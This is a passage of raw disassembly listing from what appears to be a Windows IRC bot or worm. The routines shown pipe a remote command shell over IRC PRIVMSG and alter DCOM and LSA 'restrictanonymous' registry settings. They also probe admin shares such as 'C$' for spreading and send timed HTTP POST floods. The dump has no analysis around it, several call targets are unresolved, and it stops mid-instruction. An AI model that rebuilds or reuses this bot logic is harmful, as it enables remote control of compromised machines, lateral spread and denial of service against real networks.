eax loc_419DAB: ; CODE XREF: sub_419BAA+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419DB0: ; CODE XREF: sub_419BAA+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 2730D30h test eax, eax jnz short loc_419DD4 push edi call esi jmp short loc_419DA9 ; --------------------------------------------------------------------------- loc_419DD4: ; CODE XREF: sub_419BAA+223j push 1 pop eax jmp short loc_419DAB sub_419BAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DD9 proc near ; DATA XREF: sub_401AC7+2670o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_439C60 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C006 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E38 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409862 add esp, 14h loc_419E38: ; CODE XREF: sub_419DD9+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419BAA add esp, 18h test eax, eax jnz short loc_419E60 push offset unk_439C3C jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419DD9+7Ej push offset unk_439C18 loc_419E65: ; CODE XREF: sub_419DD9+85j lea eax, [ebp+var_298] push eax call sub_41C006 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419E98 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409862 add esp, 14h loc_419E98: ; CODE XREF: sub_419DD9+9Dj lea eax, [ebp+var_298] push eax call sub_415CEE push [ebp+var_14] call sub_40B6C9 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_419DD9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419EB7 proc near ; CODE XREF: sub_401AC7+7723p ; sub_40B4E8+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 26902C1h nop mov esi, eax test esi, esi jz short loc_419EE9 push 0 push esi nop call near ptr 2730D30h test eax, eax jnz short loc_419EE9 push esi xor edi, edi call near ptr 2670000h nop loc_419EE9: ; CODE XREF: sub_419EB7+1Aj ; sub_419EB7+27j mov eax, edi pop edi pop esi retn sub_419EB7 endp ; --------------------------------------------------------------------------- word_419EEE dw 3356h ; DATA XREF: ___:004015E8o dd 56016AF6h, 56565656h, 0FFFCADE8h, 18C483FFh, 9A5C35FFh dd 0E8900043h, 22760F4h db 0EBh, 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F0E proc near ; CODE XREF: sub_419F3E+2Ap ; sub_419F76+7Ep ... mov eax, dword_4D9588 push esi mov esi, dword_427078 cmp eax, 0FFFFFFFFh jz short loc_419F22 push eax call esi loc_419F22: ; CODE XREF: sub_419F0E+Fj mov eax, dword_4D9590 cmp eax, 0FFFFFFFFh jz short loc_419F2F push eax call esi loc_419F2F: ; CODE XREF: sub_419F0E+1Cj mov eax, dword_4D9584 cmp eax, 0FFFFFFFFh jz short loc_419F3C push eax call esi loc_419F3C: ; CODE XREF: sub_419F0E+29j pop esi retn sub_419F0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F3E proc near ; CODE XREF: sub_401AC7+746Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B960 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4D958C nop call near ptr 2720000h test eax, eax jnz short loc_419F71 call sub_419F0E xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419F71: ; CODE XREF: sub_419F3E+28j push 1 pop eax leave retn sub_419F3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F76 proc near ; CODE XREF: sub_419FFD+D3p ; sub_419FFD+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43B4B8 push [ebp+arg_4] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_419FB9 push 7D0h call near ptr 2690000h nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C006 add esp, 10h jmp short loc_419FD0 ; --------------------------------------------------------------------------- loc_419FB9: ; CODE XREF: sub_419F76+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 0Ch loc_419FD0: ; CODE XREF: sub_419F76+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 test eax, eax jg short loc_419FF9 call sub_419F0E loc_419FF9: ; CODE XREF: sub_419F76+7Cj xor eax, eax leave retn sub_419F76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FFD proc near ; DATA XREF: sub_41A152+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4D9594 loc_41A015: ; CODE XREF: sub_419FFD+79j ; sub_419FFD+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4D9588 nop call near ptr 285093Bh test eax, eax jz loc_41A0E3 cmp [ebp+var_4], edi jnz short loc_41A078 lea eax, [ebp+var_8] push eax push dword_4D9584 nop call near ptr 2850505h test eax, eax jz short loc_41A06E cmp [ebp+var_8], 103h jnz loc_41A107 loc_41A06E: ; CODE XREF: sub_419FFD+62j push 0Ah nop call near ptr 2690000h jmp short loc_41A015 ; --------------------------------------------------------------------------- loc_41A078: ; CODE XREF: sub_419FFD+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A08F loc_41A07F: ; CODE XREF: sub_419FFD+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A0DD inc eax cmp eax, [ebp+var_4] jb short loc_41A07F loc_41A08F: ; CODE XREF: sub_419FFD+80j mov [ebp+var_4], esi loc_41A092: ; CODE XREF: sub_419FFD+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4D9588 nop call near ptr 2710000h test eax, eax jz short loc_41A12F lea eax, [ebp+var_20C] push eax push ebx push dword_4D95C8 call sub_419F76 add esp, 0Ch jmp loc_41A015 ; --------------------------------------------------------------------------- loc_41A0DD: ; CODE XREF: sub_419FFD+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A092 ; --------------------------------------------------------------------------- loc_41A0E3: ; CODE XREF: sub_419FFD+45j push offset unk_439CE8 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push 1 nop call near ptr 26F0000h loc_41A107: ; CODE XREF: sub_419FFD+6Bj call sub_419F0E push offset unk_439CC0 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push edi nop call near ptr 26F0000h loc_41A12F: ; CODE XREF: sub_419FFD+C3j push offset unk_439C90 push ebx push dword_4D95C8 call sub_419F76 push [ebp+arg_0] call sub_40B6C9 add esp, 10h push edi nop call near ptr 26F0000h sub_419FFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A152 proc near ; CODE XREF: sub_401AC7+2494p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F0E xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433EDC push esi call dword_4C93C0 test eax, eax jz loc_41A24C push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427114 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A24C lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A24C mov edi, dword_427110 push 3 push esi push esi push offset dword_4D958C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2740000h test eax, eax jz short loc_41A24C push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BD10 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BD10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43B4B8 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 26703D3h test eax, eax jnz short loc_41A254 loc_41A24C: ; CODE XREF: sub_41A152+2Fj ; sub_41A152+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A302 ; --------------------------------------------------------------------------- loc_41A254: ; CODE XREF: sub_41A152+F8j push [ebp+var_4] mov edi, dword_427078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4D9588, eax mov eax, [ebp+var_8] mov dword_4D9590, eax mov eax, [ebp+var_2C] mov dword_4D9584, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4D95C8, eax jz short loc_41A28E push [ebp+arg_4] jmp short loc_41A28F ; --------------------------------------------------------------------------- loc_41A28E: ; CODE XREF: sub_41A152+135j push ebx loc_41A28F: ; CODE XREF: sub_41A152+13Aj push offset dword_4D9594 call sub_41C006 pop ecx pop ecx push esi push 0Ah push offset unk_439D4C call sub_40B3AD mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43C248[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419FFD push esi push esi nop call near ptr 269009Ch cmp eax, esi mov dword_43C254[edi], eax jnz short loc_41A300 call near ptr 26908A7h nop push eax lea eax, [ebp+var_378] push offset unk_439D18 push eax call sub_41C006 lea eax, [ebp+var_378] push eax call sub_415CEE add esp, 10h loc_41A300: ; CODE XREF: sub_41A152+185j xor eax, eax loc_41A302: ; CODE XREF: sub_41A152+FDj pop edi pop esi pop ebx leave retn sub_41A152 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A307 proc near ; DATA XREF: sub_401AC7+2DD8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A34E call sub_41A367 jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A34E: ; CODE XREF: sub_41A307+3Ej call sub_41A68B loc_41A353: ; CODE XREF: sub_41A307+45j add esp, 10h push [ebp+var_14] call sub_40B6C9 pop ecx push 0 nop call near ptr 26F0000h sub_41A307 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A367 proc near ; CODE XREF: sub_41A307+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4C93D4, edi jnz loc_41A499 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4C9374 test eax, eax jnz short loc_41A3F2 mov ax, word_438AC0 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4C9328 test eax, eax jz short loc_41A3D4 push offset dword_439FE8 jmp short loc_41A3D9 ; --------------------------------------------------------------------------- loc_41A3D4: ; CODE XREF: sub_41A367+64j push offset dword_439FC8 loc_41A3D9: ; CODE XREF: sub_41A367+6Bj lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A405 ; --------------------------------------------------------------------------- loc_41A3F2: ; CODE XREF: sub_41A367+36j lea eax, [ebp+var_214] push offset dword_439F98 push eax call sub_41C006 pop ecx pop ecx loc_41A405: ; CODE XREF: sub_41A367+89j cmp [ebp+arg_C], edi jnz short loc_41A424 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A424: ; CODE XREF: sub_41A367+A1j lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4C9374 test eax, eax jnz short loc_41A492 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4C9328 test eax, eax jz short loc_41A474 push offset dword_439F48 jmp short loc_41A479 ; --------------------------------------------------------------------------- loc_41A474: ; CODE XREF: sub_41A367+104j push offset dword_439F14 loc_41A479: ; CODE XREF: sub_41A367+10Bj lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A4AC ; --------------------------------------------------------------------------- loc_41A492: ; CODE XREF: sub_41A367+E2j push offset dword_439ED8 jmp short loc_41A49E ; --------------------------------------------------------------------------- loc_41A499: ; CODE XREF: sub_41A367+13j push offset dword_439EA8 loc_41A49E: ; CODE XREF: sub_41A367+130j lea eax, [ebp+var_214] push eax call sub_41C006 pop ecx pop ecx loc_41A4AC: ; CODE XREF: sub_41A367+129j cmp [ebp+arg_C], edi jnz short loc_41A4CB push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A4CB: ; CODE XREF: sub_41A367+148j lea eax, [ebp+var_214] push eax call sub_415CEE cmp dword_4C93FC, edi pop ecx jnz loc_41A646 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A4EE: ; CODE XREF: sub_41A367+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4C9248 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A58B cmp eax, 0EAh jz short loc_41A58B mov esi, offset off_439D70 loc_41A51F: ; CODE XREF: sub_41A367+21Dj push dword ptr [esi] push edi call sub_419175 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A536 push offset dword_439E84 jmp short loc_41A53B ; --------------------------------------------------------------------------- loc_41A536: ; CODE XREF: sub_41A367+1C6j push offset dword_439E58 loc_41A53B: ; CODE XREF: sub_41A367+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A56E push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A56E: ; CODE XREF: sub_41A367+1EBj lea eax, [ebp+var_214] push eax call sub_415CEE add esi, 8 pop ecx cmp esi, offset dword_439D90 jl short loc_41A51F jmp loc_41A623 ; --------------------------------------------------------------------------- loc_41A58B: ; CODE XREF: sub_41A367+1AAj ; sub_41A367+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A61A loc_41A59A: ; CODE XREF: sub_41A367+2AFj mov edi, [esi] push edi call sub_41DFB7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A60F push edi call sub_419062 push eax push 0 call sub_419175 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A5C9 push offset dword_439E34 jmp short loc_41A5CE ; --------------------------------------------------------------------------- loc_41A5C9: ; CODE XREF: sub_41A367+259j push offset dword_439E08 loc_41A5CE: ; CODE XREF: sub_41A367+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A602 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A602: ; CODE XREF: sub_41A367+27Fj lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx loc_41A60F: ; CODE XREF: sub_41A367+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A59A xor edi, edi loc_41A61A: ; CODE XREF: sub_41A367+22Dj push [ebp+var_8] call dword_4C9394 loc_41A623: ; CODE XREF: sub_41A367+21Fj cmp [ebp+var_10], 0EAh jz loc_41A4EE lea eax, [ebp+var_214] push offset dword_439DE0 push eax call sub_41C006 pop ecx pop ecx pop ebx jmp short loc_41A659 ; --------------------------------------------------------------------------- loc_41A646: ; CODE XREF: sub_41A367+177j lea eax, [ebp+var_214] push offset dword_439DB0 push eax call sub_41C006 pop ecx pop ecx loc_41A659: ; CODE XREF: sub_41A367+2DDj cmp [ebp+arg_C], edi jnz short loc_41A677 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A677: ; CODE XREF: sub_41A367+2F5j lea eax, [ebp+var_214] push eax call sub_415CEE pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A367 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A68B proc near ; CODE XREF: sub_41A307:loc_41A34Ep var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4C93D4, ebx push esi jnz loc_41A7B9 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4C9374 test eax, eax jnz short loc_41A716 mov ax, word_438B04 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4C9328 test eax, eax jz short loc_41A6F8 push offset dword_43A160 jmp short loc_41A6FD ; --------------------------------------------------------------------------- loc_41A6F8: ; CODE XREF: sub_41A68B+64j push offset dword_43A144 loc_41A6FD: ; CODE XREF: sub_41A68B+6Bj lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A729 ; --------------------------------------------------------------------------- loc_41A716: ; CODE XREF: sub_41A68B+36j lea eax, [ebp+var_220] push offset dword_439F98 push eax call sub_41C006 pop ecx pop ecx loc_41A729: ; CODE XREF: sub_41A68B+89j cmp [ebp+arg_C], ebx jnz short loc_41A748 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A748: ; CODE XREF: sub_41A68B+A1j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4C9374 test eax, eax jnz short loc_41A7B2 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4C9328 test eax, eax jz short loc_41A794 push offset dword_43A104 jmp short loc_41A799 ; --------------------------------------------------------------------------- loc_41A794: ; CODE XREF: sub_41A68B+100j push offset dword_43A0CC loc_41A799: ; CODE XREF: sub_41A68B+107j lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx push [ebp+var_4] call dword_4C92E0 jmp short loc_41A7CC ; --------------------------------------------------------------------------- loc_41A7B2: ; CODE XREF: sub_41A68B+E2j push offset dword_43A090 jmp short loc_41A7BE ; --------------------------------------------------------------------------- loc_41A7B9: ; CODE XREF: sub_41A68B+13j push offset dword_439EA8 loc_41A7BE: ; CODE XREF: sub_41A68B+12Cj lea eax, [ebp+var_220] push eax call sub_41C006 pop ecx pop ecx loc_41A7CC: ; CODE XREF: sub_41A68B+125j cmp [ebp+arg_C], ebx jnz short loc_41A7EB push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A7EB: ; CODE XREF: sub_41A68B+144j lea eax, [ebp+var_220] push eax call sub_415CEE cmp dword_4C93FC, ebx pop ecx jnz loc_41A95D push edi mov esi, offset off_439D70 mov edi, 200h loc_41A80F: ; CODE XREF: sub_41A68B+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_4190C9 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A82A push offset dword_43A070 jmp short loc_41A82F ; --------------------------------------------------------------------------- loc_41A82A: ; CODE XREF: sub_41A68B+196j push offset dword_43A048 loc_41A82F: ; CODE XREF: sub_41A68B+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A85E push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A85E: ; CODE XREF: sub_41A68B+1B7j lea eax, [ebp+var_220] push eax call sub_415CEE add esi, 8 pop ecx cmp esi, offset off_439D80 jl short loc_41A80F nop call near ptr 2850C1Dh test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A945 loc_41A889: ; CODE XREF: sub_41A68B+2B4j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A93A cmp bl, 41h jz loc_41A93A movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C100 push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41C100 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4C9364 cmp eax, 3 jnz short loc_41A93A lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_4190C9 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A8F8 push offset dword_43A070 jmp short loc_41A8FD ; --------------------------------------------------------------------------- loc_41A8F8: ; CODE XREF: sub_41A68B+264j push offset dword_43A048 loc_41A8FD: ; CODE XREF: sub_41A68B+26Bj lea eax, [ebp+var_220] push edi push eax call sub_41C100 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A92D push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A92D: ; CODE XREF: sub_41A68B+286j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx loc_41A93A: ; CODE XREF: sub_41A68B+206j ; sub_41A68B+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A889 loc_41A945: ; CODE XREF: sub_41A68B+1F8j lea eax, [ebp+var_220] push offset dword_43A018 push eax call sub_41C006 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A970 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A68B+173j lea eax, [ebp+var_220] push offset dword_439DB0 push eax call sub_41C006 pop ecx pop ecx loc_41A970: ; CODE XREF: sub_41A68B+2D0j cmp [ebp+arg_C], ebx jnz short loc_41A98E push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_41A98E: ; CODE XREF: sub_41A68B+2E8j lea eax, [ebp+var_220] push eax call sub_415CEE pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A68B endp ; =============== S U B R O U T I N E ======================================= sub_41A9A2 proc near ; CODE XREF: sub_41AB97+CBp ; sub_41AB97+DDp ... arg_0 = dword ptr 4 call near ptr 26A06B3h nop push eax call sub_41C058 pop ecx call sub_41C062 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A9A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9BC proc near ; CODE XREF: sub_41AB97+D4p ; sub_41AB97+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B960 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41AB93 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BD10 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8E4 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41AB93 push 50h call dword_4C9304 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41AB93 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_41AB93 push 32003h call sub_41D735 mov edi, dword_4270B8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C058 call sub_41C062 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BD10 push 32000h push esi push ebx call sub_41BD10 push ebx call sub_41B960 push 323EAh mov ebx, eax call sub_41D735 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C006 push [ebp+var_8] push esi call sub_41C630 push offset asc_4341E4 ; "\r\n" push esi call sub_41C630 add esp, 40h push esi call sub_41B960 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB13 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AAE3 ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: sub_41A9BC+155j mov eax, [ebp+arg_0] loc_41AAE3: ; CODE XREF: sub_41A9BC+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AAF3 push [ebp+var_C] jmp short loc_41AAF4 ; --------------------------------------------------------------------------- loc_41AAF3: ; CODE XREF: sub_41A9BC+130j push ebx loc_41AAF4: ; CODE XREF: sub_41A9BC+135j add eax, esi push eax push [ebp+var_4] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_41AB7A add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AAE0 loc_41AB13: ; CODE XREF: sub_41A9BC+118j call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_42770C fst [ebp+arg_0] fcomp flt_427708 fnstsw ax sahf jnz short loc_41AB3B fld1 fstp [ebp+arg_0] loc_41AB3B: ; CODE XREF: sub_41A9BC+178j push [ebp+var_4] call dword_4C939C push [ebp+var_8] call sub_41BA31 push esi call sub_41BA31 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_427704 fmul 